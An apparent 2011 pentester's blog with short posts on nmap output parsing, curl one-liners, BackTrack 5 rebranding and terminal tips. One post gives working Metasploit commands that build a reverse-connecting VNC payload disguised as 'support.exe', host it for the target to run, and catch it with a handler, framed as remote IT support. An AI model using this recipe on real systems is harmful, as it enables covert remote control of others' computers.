bookmark this naow:
http://www.beachnet.com/~hstiles/cardtype.html
Thursday, November 3, 2011
Parse .gnmap into separate files
I wanted each host line of my .gnmap file to be parsed into separate files with the ports as the contents, each port on a separate line. below is the one liner:
replace local1.gnmap with the name of your gnmap file. This should product output like so:
cat 192.168.5.254
22/open/tcp//ssh//Cisco SSH 1.25 (protocol 1.99)
23/open/tcp//telnet//Cisco router
443/open/tcp//ssl|http//Cisco IOS http config/
This may mean nothing to you, but for me, its going to make grepping through recon SOOOO much simpler.
for i in `cat local1.gnmap | cut -d ' ' -f 2`; do grep $i local1.gnmap |awk 'BEGIN {FS=": "} {for(i=1;i<=NF;i++)print $i}'|grep open|awk 'BEGIN {FS="/, "} {for(i=1;i<=NF;i++)print $i}' >> $i;done
cat 192.168.5.254
22/open/tcp//ssh//Cisco SSH 1.25 (protocol 1.99)
23/open/tcp//telnet//Cisco router
443/open/tcp//ssl|http//Cisco IOS http config/
This may mean nothing to you, but for me, its going to make grepping through recon SOOOO much simpler.
Monday, October 24, 2011
Grabbing external IP
There are NUMEROUS different ways of grabbing your external IP/other info. The way I prefer is using ifconfig.me.
curl ifconfig.me
my IP as reported by ifconfig.me
it also has multiple switches like /ua for user agent string
Go to http://ifconfig.me for a full list of switches
curl ifconfig.me
my IP as reported by ifconfig.me
it also has multiple switches like /ua for user agent string
Go to http://ifconfig.me for a full list of switches
Friday, October 7, 2011
cURL line to post data to pastebin
TL;DR curl -d 'paste_code="she said wut wut, catsinthebutt"' 'http://pastebin.com/api_public.php'
you have to send a POST to http://pastebin.com/api_public.php with the data you want applied in the 'paste_code' attribute. In this case, "she said wut wut, catsinthebutt" is the thing that will be posted to pastebin.
pipe that to pbcopy on a mac and bam your pastebin url is in your pastebin (yo dawg)
i said wut wut!
you have to send a POST to http://pastebin.com/api_public.php with the data you want applied in the 'paste_code' attribute. In this case, "she said wut wut, catsinthebutt" is the thing that will be posted to pastebin.
pipe that to pbcopy on a mac and bam your pastebin url is in your pastebin (yo dawg)
i said wut wut!
Friday, September 23, 2011
Debranding BackTrack 5
I love backtrack 5, so much so I want to customize it with my own wallpapers and splash screens and such. Below I will illustrate what you need to know to change:
1. The bootsplash image (the text only screen on top of the background, it will be the first one that comes up)
2. The plymouth image (the image that flashes on the screen for a few seconds before going back to the bootsplash image)
3. The wallpaper image (simplest to change, its the wallpaper on the desktop)
Firstly, the bootsplash image:
The bootsplash image is by far the hardest to modify because it takes quite a few steps, although is simple in retrospect. BT5 uses a utility called "bootsplash" to generate the image that is behind the superimposed text window when you first boot up. This is the screen where you initially log in with root:toor login, the same screen where you type startx to put into the gui.
Bootsplash imagefiles are basically the original image with added metadata tagged onto it. This metadata is placed within the bootsplash imagefile using the splash utility along with a simple text config file. The current imagefile is located at /opt/bootsplash/bootsplash. In order to modify the bootsplash image, you must regenerate this file. You do this using the bootsplash utility "splash". This utility comes with the installation of the bootsplash utilities archive located below:
http://www.bootsplash.org/Userspace
Download, extract, and compile the utilities into some folder. Navigate to this folder and run "./splash" - you should recieve the following output:
root@bt:~/temp/bootsplash-3.0.7/Utilities# ./splash
Usage: ./splash -s [-u unit] -n [cfgfile]
This means it should be working fine. So, like I said before, this splash utility requires one file as input, the config file (i will describe it later). This config file contains the metadata along with the location of the image to use.
----------------------
So lets start with the whole point of this, go get your jpg image you want to use as the background. got it? good. NOTE* the instructions im giving expect your file to be 1024x768 and 96DPI. Now that you have your jpg file somewhere you need to create a splash config file to go along with it. I have pasted my file below:
# config file version
version=3
# should the picture be displayed?
state=1
# fgcolor is the text forground color.
# bgcolor is the text background (i.e. transparent) color.
fgcolor=7
bgcolor=0
# (tx, ty) are the (x, y) coordinates of the text window in pixels.
# tw/th is the width/height of the text window in pixels.
tx=80
ty=140
tw=865
th=560
# name of the picture file (full path recommended)
jpeg=/root/temp/tw/bootsplash.jpg
silentjpeg=/root/temp/tw/bootsplash.jpg
progress_enable=0
overpaintok=1
So as you can see above, you have to specify the path of the jpg along with the dimensions of the text box that the console output will be placed in (the dimensions MUST be within the limits of the image otherwise it wont work). Ok so now you have the config pointing to the image. now lets pass it to the splash utility to generate our bootsplash imagefile.
./splash -s -f /root/temp/tw/bootsplash-1024x768.cfg > /opt/bootsplash/bootsplash.fancy
cp /opt/bootsplash/bootsplash /opt/bootsplash/bootsplash.old-bt5
cp /opt/bootsplash/bootsplash.fancy /opt/bootsplash/bootsplash
The above commands generate the bootsplash imagefile, place it in /opt/bootsplash, backup the old one, and copy in the new one. This way, if you need to go back all you have to do is copy back the old file and continue.
Now you run "fix-splash" to copy the new file into initrd. Fix splash is a bash script that the bt5 guys seem to have included to fix and old issue with splash fucking up for some reason.
now reboot and enjoy :D
--------------------------------
Changing the Plymouth image:
This process is simpler. First, backup the old plymouth bt5 splash:
"cp /lib/plymouth/themes/simple/bt5_1024x768.png /lib/plymouth/themes/simple/bt5_1024x768.png.backup"
Now what I did was open the bt5 plymouth image in gimp, paste my new image over it, and save it. I wasnt sure if there was any retarded file issues I had to deal with so i figured I wouldnt try to find out...
Now run "update-alternatives --config default.plymouth" and then "update-initramfs -u", reboot and everything will look fucked up. log into root, run "fix-splash" like before, reboot and now it should be fixed.
-------------------------------
Changing the wallpaper image:
This is the simplest:
"gconftool-2 --type string --set /desktop/gnome/background/picture_filename /root/Desktop/wp.jpg"
bam. that should be an instant change.
have fun, and if anything doesnt work try google first, then message me ;D
1. The bootsplash image (the text only screen on top of the background, it will be the first one that comes up)
2. The plymouth image (the image that flashes on the screen for a few seconds before going back to the bootsplash image)
3. The wallpaper image (simplest to change, its the wallpaper on the desktop)
Firstly, the bootsplash image:
The bootsplash image is by far the hardest to modify because it takes quite a few steps, although is simple in retrospect. BT5 uses a utility called "bootsplash" to generate the image that is behind the superimposed text window when you first boot up. This is the screen where you initially log in with root:toor login, the same screen where you type startx to put into the gui.
Bootsplash imagefiles are basically the original image with added metadata tagged onto it. This metadata is placed within the bootsplash imagefile using the splash utility along with a simple text config file. The current imagefile is located at /opt/bootsplash/bootsplash. In order to modify the bootsplash image, you must regenerate this file. You do this using the bootsplash utility "splash". This utility comes with the installation of the bootsplash utilities archive located below:
http://www.bootsplash.org/Userspace
Download, extract, and compile the utilities into some folder. Navigate to this folder and run "./splash" - you should recieve the following output:
root@bt:~/temp/bootsplash-3.0.7/Utilities# ./splash
Usage: ./splash -s [-u unit] -n [cfgfile]
This means it should be working fine. So, like I said before, this splash utility requires one file as input, the config file (i will describe it later). This config file contains the metadata along with the location of the image to use.
----------------------
So lets start with the whole point of this, go get your jpg image you want to use as the background. got it? good. NOTE* the instructions im giving expect your file to be 1024x768 and 96DPI. Now that you have your jpg file somewhere you need to create a splash config file to go along with it. I have pasted my file below:
# config file version
version=3
# should the picture be displayed?
state=1
# fgcolor is the text forground color.
# bgcolor is the text background (i.e. transparent) color.
fgcolor=7
bgcolor=0
# (tx, ty) are the (x, y) coordinates of the text window in pixels.
# tw/th is the width/height of the text window in pixels.
tx=80
ty=140
tw=865
th=560
# name of the picture file (full path recommended)
jpeg=/root/temp/tw/bootsplash.jpg
silentjpeg=/root/temp/tw/bootsplash.jpg
progress_enable=0
overpaintok=1
So as you can see above, you have to specify the path of the jpg along with the dimensions of the text box that the console output will be placed in (the dimensions MUST be within the limits of the image otherwise it wont work). Ok so now you have the config pointing to the image. now lets pass it to the splash utility to generate our bootsplash imagefile.
./splash -s -f /root/temp/tw/bootsplash-1024x768.cfg > /opt/bootsplash/bootsplash.fancy
cp /opt/bootsplash/bootsplash /opt/bootsplash/bootsplash.old-bt5
cp /opt/bootsplash/bootsplash.fancy /opt/bootsplash/bootsplash
The above commands generate the bootsplash imagefile, place it in /opt/bootsplash, backup the old one, and copy in the new one. This way, if you need to go back all you have to do is copy back the old file and continue.
Now you run "fix-splash" to copy the new file into initrd. Fix splash is a bash script that the bt5 guys seem to have included to fix and old issue with splash fucking up for some reason.
now reboot and enjoy :D
--------------------------------
Changing the Plymouth image:
This process is simpler. First, backup the old plymouth bt5 splash:
"cp /lib/plymouth/themes/simple/bt5_1024x768.png /lib/plymouth/themes/simple/bt5_1024x768.png.backup"
Now what I did was open the bt5 plymouth image in gimp, paste my new image over it, and save it. I wasnt sure if there was any retarded file issues I had to deal with so i figured I wouldnt try to find out...
Now run "update-alternatives --config default.plymouth" and then "update-initramfs -u", reboot and everything will look fucked up. log into root, run "fix-splash" like before, reboot and now it should be fixed.
-------------------------------
Changing the wallpaper image:
This is the simplest:
"gconftool-2 --type string --set /desktop/gnome/background/picture_filename /root/Desktop/wp.jpg"
bam. that should be an instant change.
have fun, and if anything doesnt work try google first, then message me ;D
Thursday, September 22, 2011
Psychological Porno
I have always had spouts of ideas/revelations/epiphanies since i can remember, and they always were gone once i had them. Only recently have i decided to start recording said ideas. Its simple, I downloaded a voice recorder app on my phone, and when I get an awesome new invention idea, or a philosophical idea, or when i start ranting, I hit the record button.
There are several benefits to doing this:
1. You can hear yourself (effectively) from an outside perspective once enough time has passed. This is awesome since you cant remember exactly what you were thinking at that point, so you hear yourself the exact way others do. This is a very rare experience that i believe would benefit anyone.
2. You have a record of your ideas for the future, immortalized in digital media, you can copy and share that shit anywhere. Although, I would be very careful who you share your ideas and secrets with. People could exploit the things you hold dearest, and that, could seriously fuck with you.
3. The third is what I like to call psychological porno. I call it that because playing back your hopes/dreams/realizations/etc after a long span of time really brings you back to the person you wish to be. Everyone strays from that person from time to time, but its important for us to be able to realize what path we wanted to take in the first place.
There are several benefits to doing this:
1. You can hear yourself (effectively) from an outside perspective once enough time has passed. This is awesome since you cant remember exactly what you were thinking at that point, so you hear yourself the exact way others do. This is a very rare experience that i believe would benefit anyone.
2. You have a record of your ideas for the future, immortalized in digital media, you can copy and share that shit anywhere. Although, I would be very careful who you share your ideas and secrets with. People could exploit the things you hold dearest, and that, could seriously fuck with you.
3. The third is what I like to call psychological porno. I call it that because playing back your hopes/dreams/realizations/etc after a long span of time really brings you back to the person you wish to be. Everyone strays from that person from time to time, but its important for us to be able to realize what path we wanted to take in the first place.
Thursday, September 8, 2011
GNU screen and osx mouse scrolling
I use a mac. I use screen. I want mac mouse scrolling in screen. This is how I do it:
My main gripe with screen is its scrollback buffer. As a pentester, the output i receive is obviously incredibly important, so an easy way to view it is imperative. Apparently there is a way to hack mouse scrolling into terminal. Basically it utilizes a plugin written for a scripting agent that interfaces into terminal.app.
1. install SIMBL: http://www.culater.net/software/SIMBL/SIMBL.php
2. install MouseTerm: https://bitheap.org/mouseterm/
3. restart terminal, make sure "send mouse events" is checked in the "shell" menu option.
4. start screen
5. ???
6. profit
Basically its a plugin that converts the scroll up movement of your mouse/touchpad to up/down arrow keys and sends that to the terminal. This effectively allow you to quickly scroll through screens scrollback buffer quickly by flicking your fingers.
awwwww yeahhhhh
Monday, August 1, 2011
How to wget/curl UPS tracking page
One of my job functions is to keep track of many servers out in the field. So i decided to make my life easy and create a script that will automatically track the status of the the servers. Luckily, this is very easy to accomplish:
simply curl or wget the following page and parse out the sections you want.
http://wwwapps.ups.com/WebTracking/processInputRequest?TypeOfInquiryNumber=T&InquiryNumber1=1Z000000000000
Where '1Z000000000000' is your tracking number.
Once I get my script fully completed I will post it here.
simply curl or wget the following page and parse out the sections you want.
http://wwwapps.ups.com/WebTracking/processInputRequest?TypeOfInquiryNumber=T&InquiryNumber1=1Z000000000000
Where '1Z000000000000' is your tracking number.
Once I get my script fully completed I will post it here.
Wednesday, July 27, 2011
Meterpreter VNC payload for IT support
So, the first place that ever got me a job was this small independent UPS store in chicago. They had no tech person whatsoever and nobody was really technically inclined. I got a job as a normal associate. I saw that they had multiple technical issues, and I recognized the fact that I could solve them. So I stepped up and starting taking care of all of their tech issues (Remember: I wasnt hired to do any of that). I became their IT administrator for their 4 stores. I handled everything they needed and some things i thought they should have.
Long story short, I moved onto multiple other jobs that were more tech focused. But they are now without a tech person. Incidentally, im still their tech person lol. They call me all the time to help with some printer or network connection or driver issue or some other IT support issue. I had set up logmein accounts for most of the machines when I worked for them. But this was a long time ago and they got wiped out several times. ENTER THE BLACKHAT SOLUTION.
I figure: hey, if I can get passwords and credit cards from multi-billion dollar corporations, getting a VNC session to some shitty POS behind a nat should be flippin' easy.
It is. Here's how:
Tech Support via Metasploit:
I'm assuming you already have MSF and apache installed and working properly on your machine. If you dont, google it, its easy to do.
1. generate the VNC payload with the proper settings to connect back:
msfpayload windows/vncinject/reverse_tcp LHOST=myvps.com X > /var/www/support.exe
2. start the multihandler on your VPS to listen for the VNC connection
msfconsole
use exploit/multi/handler
set PAYLOAD windows/vncinject/reverse_tcp
set LHOST myvps.com
exploit
3. tell your person to go to myvps.com/support.exe and run the executable. The VNC payload should connect back to your VPS and you should get output similar to the following:
msf exploit(handler) > exploit
[*] Started reverse handler on 1.1.1.1:4444
[*] Starting the payload handler...
[*] Sending stage (445440 bytes) to 2.2.2.2
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[-] Failed to launch vncviewer. Is it installed and in your path?
[*] Session 2 created in the background.
4. I do everything via command line so I have to forward the localhost only port to an internet accessible one by using SSH, this is how:
ssh -L :5901:localhost:5900 username@localhost
5. now run netstat -ntlp to make sure 5901 is listening on the public interface (0.0.0.0).
6. now use a VNC client to connect to your VPS on port 5901. (chickenoftheVNC, set the "display" to 1)
7. BAM you should have their desktop now.
If you have any questions, just ask.
Long story short, I moved onto multiple other jobs that were more tech focused. But they are now without a tech person. Incidentally, im still their tech person lol. They call me all the time to help with some printer or network connection or driver issue or some other IT support issue. I had set up logmein accounts for most of the machines when I worked for them. But this was a long time ago and they got wiped out several times. ENTER THE BLACKHAT SOLUTION.
I figure: hey, if I can get passwords and credit cards from multi-billion dollar corporations, getting a VNC session to some shitty POS behind a nat should be flippin' easy.
It is. Here's how:
Tech Support via Metasploit:
I'm assuming you already have MSF and apache installed and working properly on your machine. If you dont, google it, its easy to do.
1. generate the VNC payload with the proper settings to connect back:
msfpayload windows/vncinject/reverse_tcp LHOST=myvps.com X > /var/www/support.exe
2. start the multihandler on your VPS to listen for the VNC connection
msfconsole
use exploit/multi/handler
set PAYLOAD windows/vncinject/reverse_tcp
set LHOST myvps.com
exploit
3. tell your person to go to myvps.com/support.exe and run the executable. The VNC payload should connect back to your VPS and you should get output similar to the following:
msf exploit(handler) > exploit
[*] Started reverse handler on 1.1.1.1:4444
[*] Starting the payload handler...
[*] Sending stage (445440 bytes) to 2.2.2.2
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[-] Failed to launch vncviewer. Is it installed and in your path?
[*] Session 2 created in the background.
4. I do everything via command line so I have to forward the localhost only port to an internet accessible one by using SSH, this is how:
ssh -L :5901:localhost:5900 username@localhost
5. now run netstat -ntlp to make sure 5901 is listening on the public interface (0.0.0.0).
6. now use a VNC client to connect to your VPS on port 5901. (chickenoftheVNC, set the "display" to 1)
7. BAM you should have their desktop now.
If you have any questions, just ask.
Wednesday, July 6, 2011
FUCK i love grep
grep -o has saved me soooo many times.
Here is an example of it, I am using curl to grab the last 5 links from a twitter page:
without the grep -o section, it would simply return the tweet as one line with you needing to pull out the links somehow.
Just be careful, because i discovered that twitter only allows you to pull 150 tweets in an hour on some accounts.
Here is an example of it, I am using curl to grab the last 5 links from a twitter page:
curl http://twitter.com/statuses/user_timeline/pastebinleaks.xml?count=5 -s| grep "" | sed 's/.*\(.*\)<\/text>.*/\1/' | grep -o "http://pastebin.* "
Just be careful, because i discovered that twitter only allows you to pull 150 tweets in an hour on some accounts.
Subscribe to:
Posts (Atom)